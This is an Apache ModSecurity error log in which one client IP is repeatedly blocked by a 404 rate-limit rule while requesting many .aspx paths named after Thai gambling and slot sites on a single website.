[Wed Jan 28 02:08:59.468479 2026] [:error] [pid 24425:tid 24432] [client 217.182.195.181:47626] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/168slot.aspx"] [unique_id "aXj_Ox_qUCA3SusVe0uQnAAAAQI"]
[Wed Jan 28 02:09:03.286454 2026] [:error] [pid 41678:tid 41707] [client 217.182.195.181:47634] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/168vip%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXj_P6ja89ZyPVwMdig5UwAAAA4"]
[Wed Jan 28 02:09:06.550529 2026] [:error] [pid 41678:tid 41717] [client 217.182.195.181:47640] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/188bet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%20%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXj_Qqja89ZyPVwMdig5XQAAABg"]
[Wed Jan 28 02:09:09.460321 2026] [:error] [pid 24425:tid 24438] [client 217.182.195.181:41650] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/19%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXj_RR_qUCA3SusVe0uQpwAAAQg"]
[Wed Jan 28 02:09:12.915068 2026] [:error] [pid 24425:tid 24446] [client 217.182.195.181:41658] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1xbet%20%E0%B9%84%E0%B8%97%E0%B8%A2.aspx"] [unique_id "aXj_SB_qUCA3SusVe0uQqgAAARA"]
[Wed Jan 28 02:09:15.752606 2026] [:error] [pid 24511:tid 24521] [client 217.182.195.181:41674] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXj_S2moieLyDzs0ASQOsQAAAIY"]
[Wed Jan 28 02:09:18.623539 2026] [:error] [pid 24511:tid 24535] [client 217.182.195.181:41690] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24th%20slot.aspx"] [unique_id "aXj_TmmoieLyDzs0ASQOuQAAAJQ"]
[Wed Jan 28 02:09:21.609092 2026] [:error] [pid 24427:tid 24493] [client 217.182.195.181:53416] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "aXj_UU5-wqSNb5f_hOIKZgAAAYg"]
[Wed Jan 28 02:09:24.779170 2026] [:error] [pid 24426:tid 24462] [client 217.182.195.181:53426] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/365bet%20%E0%B9%84%E0%B8%97%E0%B8%A2.aspx"] [unique_id "aXj_VPbw8B_M5J5XrXQFhgAAAUQ"]
[Wed Jan 28 02:09:28.078881 2026] [:error] [pid 24425:tid 24443] [client 217.182.195.181:53428] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/460bet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXj_WB_qUCA3SusVe0uQxAAAAQ0"]
[Wed Jan 28 02:09:31.117663 2026] [:error] [pid 24426:tid 24474] [client 217.182.195.181:52252] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/69%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXj_W_bw8B_M5J5XrXQFnAAAAVA"]
[Wed Jan 28 02:09:33.912713 2026] [:error] [pid 24426:tid 24480] [client 217.182.195.181:52260] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/777slot.aspx"] [unique_id "aXj_Xfbw8B_M5J5XrXQFogAAAVY"]
[Wed Jan 28 02:09:37.002684 2026] [:error] [pid 41678:tid 41696] [client 217.182.195.181:52268] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/777superslot.aspx"] [unique_id "aXj_Yaja89ZyPVwMdig5pwAAAAM"]
[Wed Jan 28 02:10:03.590105 2026] [:error] [pid 24427:tid 24508] [client 217.182.195.181:38296] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/allslot888.aspx"] [unique_id "aXj_e05-wqSNb5f_hOIK0AAAAZc"]
[Wed Jan 28 02:10:06.771408 2026] [:error] [pid 41678:tid 41706] [client 217.182.195.181:40944] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aXj_fqja89ZyPVwMdig6IQAAAA0"]
[Wed Jan 28 02:10:09.900542 2026] [:error] [pid 24511:tid 24525] [client 217.182.195.181:49146] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ambbet.aspx"] [unique_id "aXj_gWmoieLyDzs0ASQPEgAAAIo"]
[Wed Jan 28 02:10:13.607331 2026] [:error] [pid 24425:tid 24432] [client 217.182.195.181:49150] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aXj_hR_qUCA3SusVe0uQ_AAAAQI"]
[Wed Jan 28 02:10:16.392610 2026] [:error] [pid 24427:tid 24485] [client 217.182.195.181:49156] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asia999%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20100%20%E0%B8%9A%E0%B8%B2%E0%B8%97.aspx"] [unique_id "aXj_iE5-wqSNb5f_hOIK6AAAAYA"]
[Wed Jan 28 02:10:19.858741 2026] [:error] [pid 24425:tid 24431] [client 217.182.195.181:56908] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aXj_ix_qUCA3SusVe0uRBQAAAQE"]
[Wed Jan 28 02:10:23.203731 2026] [:error] [pid 24426:tid 24464] [client 217.182.195.181:56916] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autobet.aspx"] [unique_id "aXj_j_bw8B_M5J5XrXQGIQAAAUY"]
[Wed Jan 28 02:10:25.865224 2026] [:error] [pid 24427:tid 24508] [client 217.182.195.181:56932] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoslot.aspx"] [unique_id "aXj_kU5-wqSNb5f_hOIK-AAAAZc"]
[Wed Jan 28 02:10:28.763100 2026] [:error] [pid 24511:tid 24539] [client 217.182.195.181:56946] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bet365%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXj_lGmoieLyDzs0ASQPOAAAAJg"]
[Wed Jan 28 02:10:31.568618 2026] [:error] [pid 24426:tid 24464] [client 217.182.195.181:32978] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bet911.aspx"] [unique_id "aXj_l_bw8B_M5J5XrXQGLQAAAUY"]
[Wed Jan 28 02:10:34.668080 2026] [:error] [pid 41678:tid 41693] [client 217.182.195.181:32984] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXj_mqja89ZyPVwMdig6ZAAAAAA"]
[Wed Jan 28 02:10:37.563501 2026] [:error] [pid 24425:tid 24435] [client 217.182.195.181:32998] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050.aspx"] [unique_id "aXj_nR_qUCA3SusVe0uRHgAAAQU"]
[Wed Jan 28 02:10:41.053805 2026] [:error] [pid 24425:tid 24441] [client 217.182.195.181:39736] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aXj_oR_qUCA3SusVe0uRKwAAAQs"]
[Wed Jan 28 02:10:44.073780 2026] [:error] [pid 24426:tid 24459] [client 217.182.195.181:39742] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aXj_pPbw8B_M5J5XrXQGQQAAAUE"]
[Wed Jan 28 02:10:46.864246 2026] [:error] [pid 41678:tid 41694] [client 217.182.195.181:39750] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aXj_pqja89ZyPVwMdig6cgAAAAE"]
[Wed Jan 28 02:10:50.277638 2026] [:error] [pid 24426:tid 24459] [client 217.182.195.181:34068] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aXj_qvbw8B_M5J5XrXQGRwAAAUE"]
[Wed Jan 28 02:10:53.424634 2026] [:error] [pid 41678:tid 41699] [client 217.182.195.181:34084] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aXj_raja89ZyPVwMdig6iAAAAAY"]
[Wed Jan 28 02:10:57.098722 2026] [:error] [pid 24426:tid 24482] [client 217.182.195.181:34094] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aXj_sfbw8B_M5J5XrXQGUgAAAVg"]
[Wed Jan 28 02:11:00.536668 2026] [:error] [pid 24425:tid 24440] [client 217.182.195.181:57978] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXj_tB_qUCA3SusVe0uRSQAAAQo"]
[Wed Jan 28 02:11:45.042291 2026] [:error] [pid 24511:tid 24525] [client 217.182.195.181:58898] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aXj_4WmoieLyDzs0ASQP2AAAAIo"]
[Wed Jan 28 02:11:49.795737 2026] [:error] [pid 24427:tid 24491] [client 217.182.195.181:42366] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aXj_5U5-wqSNb5f_hOILjAAAAYY"]
[Wed Jan 28 02:11:54.390884 2026] [:error] [pid 24426:tid 24458] [client 217.182.195.181:42378] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker999.aspx"] [unique_id "aXj_6vbw8B_M5J5XrXQGtQAAAUA"]
[Wed Jan 28 02:11:58.054388 2026] [:error] [pid 24425:tid 24430] [client 217.182.195.181:42394] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aXj_7h_qUCA3SusVe0uRlwAAAQA"]
[Wed Jan 28 02:12:02.052659 2026] [:error] [pid 24511:tid 24516] [client 217.182.195.181:38450] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingslot.aspx"] [unique_id "aXj_8mmoieLyDzs0ASQP-wAAAIE"]
[Wed Jan 28 02:12:05.673980 2026] [:error] [pid 24425:tid 24434] [client 217.182.195.181:38464] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m24%20wallet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXj_9R_qUCA3SusVe0uRowAAAQQ"]
[Wed Jan 28 02:12:09.209525 2026] [:error] [pid 24425:tid 24445] [client 217.182.195.181:38474] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aXj_-R_qUCA3SusVe0uRpwAAAQ8"]
[Wed Jan 28 02:12:12.138769 2026] [:error] [pid 24511:tid 24532] [client 217.182.195.181:44602] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aXj__GmoieLyDzs0ASQQIQAAAJE"]
[Wed Jan 28 02:12:15.886745 2026] [:error] [pid 24426:tid 24476] [client 217.182.195.181:44604] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aXj___bw8B_M5J5XrXQG0AAAAVI"]
[Wed Jan 28 02:12:19.633367 2026] [:error] [pid 24425:tid 24439] [client 217.182.195.181:46476] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aXkAAx_qUCA3SusVe0uRuwAAAQk"]
[Wed Jan 28 02:12:24.751777 2026] [:error] [pid 41678:tid 41707] [client 217.182.195.181:46488] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aXkACKja89ZyPVwMdig7QgAAAA4"]
[Wed Jan 28 02:12:28.922006 2026] [:error] [pid 41678:tid 41717] [client 217.182.195.181:46504] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aXkADKja89ZyPVwMdig7UAAAABg"]
[Wed Jan 28 02:12:32.700203 2026] [:error] [pid 24427:tid 24486] [client 217.182.195.181:54100] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aXkAEE5-wqSNb5f_hOIL1wAAAYE"]
[Wed Jan 28 02:12:35.858985 2026] [:error] [pid 41678:tid 41693] [client 217.182.195.181:54116] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aXkAE6ja89ZyPVwMdig7ZAAAAAA"]
[Wed Jan 28 02:12:39.780049 2026] [:error] [pid 24425:tid 24431] [client 217.182.195.181:47498] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aXkAFx_qUCA3SusVe0uR0wAAAQE"]
[Wed Jan 28 02:13:12.224251 2026] [:error] [pid 24425:tid 24434] [client 217.182.195.181:47512] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot007.aspx"] [unique_id "aXkAOB_qUCA3SusVe0uSDwAAAQQ"]
[Wed Jan 28 02:13:15.521942 2026] [:error] [pid 24426:tid 24458] [client 217.182.195.181:37992] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot123.aspx"] [unique_id "aXkAO_bw8B_M5J5XrXQHNQAAAUA"]
[Wed Jan 28 02:13:19.110760 2026] [:error] [pid 24425:tid 24450] [client 217.182.195.181:37996] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aXkAPx_qUCA3SusVe0uSFAAAARQ"]
[Wed Jan 28 02:13:22.638848 2026] [:error] [pid 41678:tid 41694] [client 217.182.195.181:56478] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot24th%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXkAQqja89ZyPVwMdig72QAAAAE"]
